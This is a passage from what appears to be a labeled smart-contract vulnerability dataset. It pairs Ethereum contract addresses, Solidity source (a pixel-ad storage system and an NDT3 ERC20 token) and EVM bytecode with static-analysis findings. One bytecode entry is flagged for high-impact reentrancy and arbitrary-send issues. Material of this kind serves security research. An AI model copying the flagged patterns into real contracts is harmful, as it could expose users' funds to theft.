a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076857600080fd5b505afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611334565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107e857600080fd5b505af11580156107fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108209190611334565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061085081610514565b6000806108656000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108c857600080fd5b505af11580156108dc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109019190611431565b50506010805469d3c21bcecceda100000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561097b57600080fd5b505af115801561098f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b39190611414565b5050565b6001600160a01b038316610a195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a7565b6001600160a01b038216610a7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a7565b6001600160a01b03831660009081526006602052604090205460ff1615610b6357600080fd5b6001600160a01b0383163014610bfc57600a54600c55600b54600d556000610b8a30610514565b601054909150600160a81b900460ff16158015610bb557506010546001600160a01b03858116911614155b8015610bca5750601054600160b01b900460ff165b15610bfa578015610bde57610bde81610d25565b4767016345785d8a0000811115610bf857610bf847610c67565b505b505b6000546001600160a01b0384811691161415610c1d576000600d819055600c555b610c28838383610eae565b505050565b60008184841115610c515760405162461bcd60e51b81526004016103a7919061145f565b506000610c5e84866115b3565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109b3573d6000803e3d6000fd5b6000600854821115610d085760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103a7565b6000610d12610eb9565b9050610d1e8382610edc565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6d57610d6d6115e0565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610dc157600080fd5b505afa158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df99190611334565b81600181518110610e0c57610e0c6115e0565b6001600160a01b039283166020918202929092010152600f54610e3291309116846109b7565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e6b9085906000908690309042906004016114e9565b600060405180830381600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c28838383610f1e565b6000806000610ec6611015565b9092509050610ed58282610edc565b9250505090565b6000610d1e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611059565b600080600080600080610f3087611087565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610f6290876110e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610f919086611126565b6001600160a01b038916600090815260026020526040902055610fb381611185565b610fbd84836111cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161100291815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda10000006110328282610edc565b8210156110505750506008549269d3c21bcecceda100000092509050565b90939092509050565b6000818361107a5760405162461bcd60e51b81526004016103a7919061145f565b506000610c5e8486611572565b60008060008060008060008060006110a48a600c54600d546111f3565b92509250925060006110b4610eb9565b905060008060006110c78e878787611248565b919e509c509a509598509396509194505050505091939550919395565b6000610d1e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c2d565b600080611133838561155a565b905083811015610d1e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a7565b600061118f610eb9565b9050600061119d8383611298565b306000908152600260205260409020549091506111ba9082611126565b30600090815260026020526040902055505050565b6008546111dc90836110e4565b6008556009546111ec9082611126565b6009555050565b600080808061120d60646112078989611298565b90610edc565b9050600061122060646112078a89611298565b90506000611238826112328b866110e4565b906110e4565b9992985090965090945050505050565b60008080806112578886611298565b905060006112658887611298565b905060006112738888611298565b905060006112858261123286866110e4565b939b939a50919850919650505050505050565b6000826112a7575060006103e5565b60006112b38385611594565b9050826112c08583611572565b14610d1e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a7565b60006020828403121561132957600080fd5b8135610d1e816115f6565b60006020828403121561134657600080fd5b8151610d1e816115f6565b6000806040838503121561136457600080fd5b823561136f816115f6565b9150602083013561137f816115f6565b809150509250929050565b60008060006060848603121561139f57600080fd5b83356113aa816115f6565b925060208401356113ba816115f6565b929592945050506040919091013590565b600080604083850312156113de57600080fd5b82356113e9816115f6565b946020939093013593505050565b60006020828403121561140957600080fd5b8135610d1e8161160b565b60006020828403121561142657600080fd5b8151610d1e8161160b565b60008060006060848603121561144657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561148c57858101830151858201604001528201611470565b8181111561149e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115395784516001600160a01b031683529383019391830191600101611514565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561156d5761156d6115ca565b500190565b60008261158f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115ae576115ae6115ca565b500290565b6000828210156115c5576115c56115ca565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461051157600080fd5b801515811461051157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ffd41a497c33311841a536036b0cf73c4311b7930df1b494cbd5e396ae95c86864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,787
0xceab163519b19265ab463efa2da166a4d59209be
pragma solidity ^0.4.19; // File: contracts/BdpBaseData.sol contract BdpBaseData { address public ownerAddress; address public managerAddress; address[16] public contracts; bool public paused = false; bool public setupCompleted = false; bytes8 public version; } // File: contracts/libraries/BdpContracts.sol library BdpContracts { function getBdpEntryPoint(address[16] _contracts) pure internal returns (address) { return _contracts[0]; } function getBdpController(address[16] _contracts) pure internal returns (address) { return _contracts[1]; } function getBdpControllerHelper(address[16] _contracts) pure internal returns (address) { return _contracts[3]; } function getBdpDataStorage(address[16] _contracts) pure internal returns (address) { return _contracts[4]; } function getBdpImageStorage(address[16] _contracts) pure internal returns (address) { return _contracts[5]; } function getBdpOwnershipStorage(address[16] _contracts) pure internal returns (address) { return _contracts[6]; } function getBdpPriceStorage(address[16] _contracts) pure internal returns (address) { return _contracts[7]; } } // File: contracts/BdpBase.sol contract BdpBase is BdpBaseData { modifier onlyOwner() { require(msg.sender == ownerAddress); _; } modifier onlyAuthorized() { require(msg.sender == ownerAddress || msg.sender == managerAddress); _; } modifier whileContractIsActive() { require(!paused && setupCompleted); _; } modifier storageAccessControl() { require( (! setupCompleted && (msg.sender == ownerAddress || msg.sender == managerAddress)) || (setupCompleted && !paused && (msg.sender == BdpContracts.getBdpEntryPoint(contracts))) ); _; } function setOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0)); ownerAddress = _newOwner; } function setManager(address _newManager) external onlyOwner { require(_newManager != address(0)); managerAddress = _newManager; } function setContracts(address[16] _contracts) external onlyOwner { contracts = _contracts; } function pause() external onlyAuthorized { paused = true; } function unpause() external onlyOwner { paused = false; } function setSetupCompleted() external onlyOwner { setupCompleted = true; } function kill() public onlyOwner { selfdestruct(ownerAddress); } } // File: contracts/libraries/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/storage/BdpDataStorage.sol contract BdpDataStorage is BdpBase { using SafeMath for uint256; struct Region { uint256 x1; uint256 y1; uint256 x2; uint256 y2; uint256 currentImageId; uint256 nextImageId; uint8[128] url; uint256 currentPixelPrice; uint256 blockUpdatedAt; uint256 updatedAt; uint256 purchasedAt; uint256 purchasedPixelPrice; } uint256 public lastRegionId = 0; mapping (uint256 => Region) public data; function getLastRegionId() view public returns (uint256) { return lastRegionId; } function getNextRegionId() public storageAccessControl returns (uint256) { lastRegionId = lastRegionId.add(1); return lastRegionId; } function deleteRegionData(uint256 _id) public storageAccessControl { delete data[_id]; } function getRegionCoordinates(uint256 _id) view public returns (uint256, uint256, uint256, uint256) { return (data[_id].x1, data[_id].y1, data[_id].x2, data[_id].y2); } function setRegionCoordinates(uint256 _id, uint256 _x1, uint256 _y1, uint256 _x2, uint256 _y2) public storageAccessControl { data[_id].x1 = _x1; data[_id].y1 = _y1; data[_id].x2 = _x2; data[_id].y2 = _y2; } function getRegionCurrentImageId(uint256 _id) view public returns (uint256) { return data[_id].currentImageId; } function setRegionCurrentImageId(uint256 _id, uint256 _currentImageId) public storageAccessControl { data[_id].currentImageId = _currentImageId; } function getRegionNextImageId(uint256 _id) view public returns (uint256) { return data[_id].nextImageId; } function setRegionNextImageId(uint256 _id, uint256 _nextImageId) public storageAccessControl { data[_id].nextImageId = _nextImageId; } function getRegionUrl(uint256 _id) view public returns (uint8[128]) { return data[_id].url; } function setRegionUrl(uint256 _id, uint8[128] _url) public storageAccessControl { data[_id].url = _url; } function getRegionCurrentPixelPrice(uint256 _id) view public returns (uint256) { return data[_id].currentPixelPrice; } function setRegionCurrentPixelPrice(uint256 _id, uint256 _currentPixelPrice) public storageAccessControl { data[_id].currentPixelPrice = _currentPixelPrice; } function getRegionBlockUpdatedAt(uint256 _id) view public returns (uint256) { return data[_id].blockUpdatedAt; } function setRegionBlockUpdatedAt(uint256 _id, uint256 _blockUpdatedAt) public storageAccessControl { data[_id].blockUpdatedAt = _blockUpdatedAt; } function getRegionUpdatedAt(uint256 _id) view public returns (uint256) { return data[_id].updatedAt; } function setRegionUpdatedAt(uint256 _id, uint256 _updatedAt) public storageAccessControl { data[_id].updatedAt = _updatedAt; } function getRegionPurchasedAt(uint256 _id) view public returns (uint256) { return data[_id].purchasedAt; } function setRegionPurchasedAt(uint256 _id, uint256 _purchasedAt) public storageAccessControl { data[_id].purchasedAt = _purchasedAt; } function getRegionUpdatedAtPurchasedAt(uint256 _id) view public returns (uint256 _updatedAt, uint256 _purchasedAt) { return (data[_id].updatedAt, data[_id].purchasedAt); } function getRegionPurchasePixelPrice(uint256 _id) view public returns (uint256) { return data[_id].purchasedPixelPrice; } function setRegionPurchasedPixelPrice(uint256 _id, uint256 _purchasedPixelPrice) public storageAccessControl { data[_id].purchasedPixelPrice = _purchasedPixelPrice; } function BdpDataStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } // File: contracts/storage/BdpPriceStorage.sol contract BdpPriceStorage is BdpBase { uint64[1001] public pricePoints; uint256 public pricePointsLength = 0; address public forwardPurchaseFeesTo = address(0); address public forwardUpdateFeesTo = address(0); function getPricePointsLength() view public returns (uint256) { return pricePointsLength; } function getPricePoint(uint256 _i) view public returns (uint256) { return pricePoints[_i]; } function setPricePoints(uint64[] _pricePoints) public storageAccessControl { pricePointsLength = 0; appendPricePoints(_pricePoints); } function appendPricePoints(uint64[] _pricePoints) public storageAccessControl { for (uint i = 0; i < _pricePoints.length; i++) { pricePoints[pricePointsLength++] = _pricePoints[i]; } } function getForwardPurchaseFeesTo() view public returns (address) { return forwardPurchaseFeesTo; } function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public storageAccessControl { forwardPurchaseFeesTo = _forwardPurchaseFeesTo; } function getForwardUpdateFeesTo() view public returns (address) { return forwardUpdateFeesTo; } function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public storageAccessControl { forwardUpdateFeesTo = _forwardUpdateFeesTo; } function BdpPriceStorage(bytes8 _version) public { ownerAddress = msg.sender; managerAddress = msg.sender; version = _version; } } // File: contracts/libraries/BdpCalculator.sol library BdpCalculator { using SafeMath for uint256; function calculateArea(address[16] _contracts, uint256 _regionId) view public returns (uint256 _area, uint256 _width, uint256 _height) { var (x1, y1, x2, y2) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCoordinates(_regionId); _width = x2 - x1 + 1; _height = y2 - y1 + 1; _area = _width * _height; } function countPurchasedPixels(address[16] _contracts) view public returns (uint256 _count) { var lastRegionId = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getLastRegionId(); for (uint256 i = 0; i <= lastRegionId; i++) { if(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionPurchasedAt(i) > 0) { // region is purchased var (area,,) = calculateArea(_contracts, i); _count += area; } } } function calculateCurrentMarketPixelPrice(address[16] _contracts) view public returns(uint) { return calculateMarketPixelPrice(_contracts, countPurchasedPixels(_contracts)); } function calculateMarketPixelPrice(address[16] _contracts, uint _pixelsSold) view public returns(uint) { var pricePointsLength = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePointsLength(); uint mod = _pixelsSold % (1000000 / (pricePointsLength - 1)); uint div = _pixelsSold * (pricePointsLength - 1) / 1000000; var divPoint = BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div); if(mod == 0) return divPoint; return divPoint + mod * (BdpPriceStorage(BdpContracts.getBdpPriceStorage(_contracts)).getPricePoint(div+1) - divPoint) * (pricePointsLength - 1) / 1000000; } function calculateAveragePixelPrice(address[16] _contracts, uint _a, uint _b) view public returns (uint _price) { _price = (calculateMarketPixelPrice(_contracts, _a) + calculateMarketPixelPrice(_contracts, _b)) / 2; } /** Current market price per pixel for this region if it is the first sale of this region */ function calculateRegionInitialSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) { require(BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAt(_regionId) > 0); // region exists var purchasedPixels = countPurchasedPixels(_contracts); var (area,,) = calculateArea(_contracts, _regionId); return calculateAveragePixelPrice(_contracts, purchasedPixels, purchasedPixels + area); } /** Current market price or (Current market price)*3 if the region was sold */ function calculateRegionSalePixelPrice(address[16] _contracts, uint256 _regionId) view public returns (uint256) { var pixelPrice = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionCurrentPixelPrice(_regionId); if(pixelPrice > 0) { return pixelPrice * 3; } else { return calculateRegionInitialSalePixelPrice(_contracts, _regionId); } } /** Setup is allowed one whithin one day after purchase */ function calculateSetupAllowedUntil(address[16] _contracts, uint256 _regionId) view public returns (uint256) { var (updatedAt, purchasedAt) = BdpDataStorage(BdpContracts.getBdpDataStorage(_contracts)).getRegionUpdatedAtPurchasedAt(_regionId); if(updatedAt != purchasedAt) { return 0; } else { return purchasedAt + 1 days; } } }
0x60606040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630823b38d146100935780631491858e146100f5578063993b8cde1461014e578063a46a96d91461019e578063a6948cd9146101f7578063bc6ac1121461025e578063d8c37ecd146102b7578063e1437b0014610310575b600080fd5b6100df6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091908035906020019091908035906020019091905050610360565b6040518082815260200191505060405180910390f35b610138600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061038c565b6040518082815260200191505060405180910390f35b6101886004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091905050610457565b6040518082815260200191505060405180910390f35b6101e160048080610200019060108060200260405190810160405280929190826010602002808284378201915050505050919080359060200190919050506105c7565b6040518082815260200191505060405180910390f35b61023a600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061068e565b60405180848152602001838152602001828152602001935050505060405180910390f35b6102a1600480806102000190601080602002604051908101604052809291908260106020028082843782019150505050509190803590602001909190505061076d565b6040518082815260200191505060405180910390f35b6102fa6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091908035906020019091905050610849565b6040518082815260200191505060405180910390f35b61034a6004808061020001906010806020026040519081016040528092919082601060200280828437820191505050505091905050610a87565b6040518082815260200191505060405180910390f35b6000600261036e8584610849565b6103788686610849565b0181151561038257fe5b0490509392505050565b600080600061039a85610aa2565b73ffffffffffffffffffffffffffffffffffffffff166373c261f4856000604051604001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506040805180830381600087803b151561040f57600080fd5b6102c65a03f1151561042057600080fd5b50505060405180519060200180519050915091508082141515610446576000925061044f565b62015180810192505b505092915050565b60008060008061046685610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663cb07b94b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104d157600080fd5b6102c65a03f115156104e257600080fd5b505050604051805190509250600091505b82821115156105bf57600061050786610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663b219610a846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561057d57600080fd5b6102c65a03f1151561058e57600080fd5b5050506040518051905011156105b2576105a8858361068e565b5050905080840193505b81806001019250506104f3565b505050919050565b6000806105d384610aa2565b73ffffffffffffffffffffffffffffffffffffffff16630500fe3e846000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561064957600080fd5b6102c65a03f1151561065a57600080fd5b505050604051805190509050600081111561067a57600381029150610687565b610684848461076d565b91505b5092915050565b60008060008060008060006106a289610aa2565b73ffffffffffffffffffffffffffffffffffffffff166342b4807a896000604051608001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050608060405180830381600087803b151561071857600080fd5b6102c65a03f1151561072957600080fd5b505050604051805190602001805190602001805190602001805190509350935093509350600184830301955060018382030194508486029650505050509250925092565b60008060008061077c86610aa2565b73ffffffffffffffffffffffffffffffffffffffff1663436fedc3866000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156107f257600080fd5b6102c65a03f1151561080357600080fd5b5050506040518051905011151561081957600080fd5b61082285610457565b915061082e858561068e565b5050905061083f8583838501610360565b9250505092915050565b600080600080600061085a87610abf565b73ffffffffffffffffffffffffffffffffffffffff1663dbe9eebf6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156108c557600080fd5b6102c65a03f115156108d657600080fd5b50505060405180519050935060018403620f42408115156108f357fe5b04868115156108fe57fe5b069250620f424060018503870281151561091457fe5b04915061092087610abf565b73ffffffffffffffffffffffffffffffffffffffff1663657f3ab0836000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561099657600080fd5b6102c65a03f115156109a757600080fd5b50505060405180519050905060008314156109c457809450610a7d565b620f424060018503826109d68a610abf565b73ffffffffffffffffffffffffffffffffffffffff1663657f3ab0600187016000604051602001526040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610a4f57600080fd5b6102c65a03f11515610a6057600080fd5b5050506040518051905003850202811515610a7757fe5b04810194505b5050505092915050565b6000610a9b82610a9684610457565b610849565b9050919050565b6000816004601081101515610ab357fe5b60200201519050919050565b6000816007601081101515610ad057fe5b602002015190509190505600a165627a7a723058201765d63bcdb229b1893a46297da78d572ed098b8abc607eadf233a19562682320029
{"success": true, "error": null, "results": {}}
2,788
0x6ccf4434401b64ad7e69f0b6c547c4f974abf544
pragma solidity 0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; string public name; string public symbol; uint8 public decimals = 18; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // @title ERC20 interface // @dev see https://github.com/ethereum/EIPs/issues/20 contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } //@title Standard ERC20 token //@dev Implementation of the basic standard token. //@dev https://github.com/ethereum/EIPs/issues/20 //@dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol contract StandardToken is ERC20, BasicToken,Ownable{ mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* NDT3 Token */ contract NDT3 is BurnableToken, StandardToken,Pausable { /* This generates a public event on the blockchain that will notify clients */ /*It will invoke a public event in block chain, and inform client*/ mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function NDT3() public { totalSupply_ = 10000000000 ether;//Total amount of tokens balances[msg.sender] = totalSupply_; //Initial tokens for owner name = "NDT3Token"; //for display symbol = "NDT3"; //Symbol for display } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } //Freeze an account (Owner only). function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); //Check if the sender is frozen. return super.transfer(_to, _value); } //Send tokens to an account and froze the account immediately (Owner only). function transferAndFrozen(address _to, uint256 _value) onlyOwner public whenNotPaused returns (bool) { require(!frozenAccount[msg.sender]); //Check if the sender is frozen. bool Result = transfer(_to,_value); freezeAccount(_to,true); return Result; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(!frozenAccount[_from]); //Check if the sender is frozen. return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
